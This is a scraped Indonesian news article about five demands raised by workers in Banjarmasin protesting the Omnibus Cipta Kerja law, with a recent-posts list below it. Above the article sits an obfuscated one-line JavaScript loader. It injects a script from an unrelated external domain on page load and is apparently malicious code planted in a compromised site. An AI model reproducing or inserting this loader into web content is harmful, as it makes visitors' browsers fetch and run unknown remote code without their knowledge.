(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Ini 5 Tuntutan Kaum Buruh dalam Unjuk Rasa di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Ribuan buruh dari sejumlah perusahaan dan pabrik di Kota Banjarmasin memadati kawasan Jalan Lambung Mangkurat untuk menyampaikan tuntutan pencabutan UU Cipta Kerja.

Disampaikan melalui pengeras suara di atas mobil komando dan disaksikan Ketua DPRD Provinsi Kalsel H Supian HK, salah seorang perwakilan buruh menyampaikan 5 poin tuntutan mereka.

 

Berikut isi tuntutan para buruh:

1. Menolak sekeras-kerasnya UU Omnibus Law Cipta K yang disahkan oleh DPR RI pada 5 Oktober 2020.

2. Meminta presiden RI untuk membatallan UU Omnibus Law Cipta Kerja dengan menerbitkan Perppu dan atau mengeluarkan klaster ketenagakerjaan dari UU Omnibus Law Cipta Kerja.

3. Meminta DPRD Provinsi Kalsel untuk mendampingi aliansi buruh menyerahkan secara langsung kepada DPR RI kajian dan atau sandingan UU Omnibus Law Cipta Kerja dengan UU No 13 tahun 2013 tentang ketenagakerjaan

4. Tolak upah murah dan minta kenaikan upah minimum provinsi tahun 2021 minimal 8 persen.

5. Meminta DPR RI, DPRD Provinsi serta pemerintah pusat dan pemerintah daerah untuk tetap fokus terhadap penanganan pandemi Covid-19 dan pemulihan ekonomi 0asca pandemi, bukan malah menciptakan undang-undang yang merampas hak buruh.

Sampai berita ini diterbitkan, ribuan buruh masih bertahan di lokasi aksi menunggu sikap tertulis dari Ketua DPRD Provinsi Kalsel. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

1 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

7 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

8 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

10 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

10 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

23 jam ago

This website uses cookies.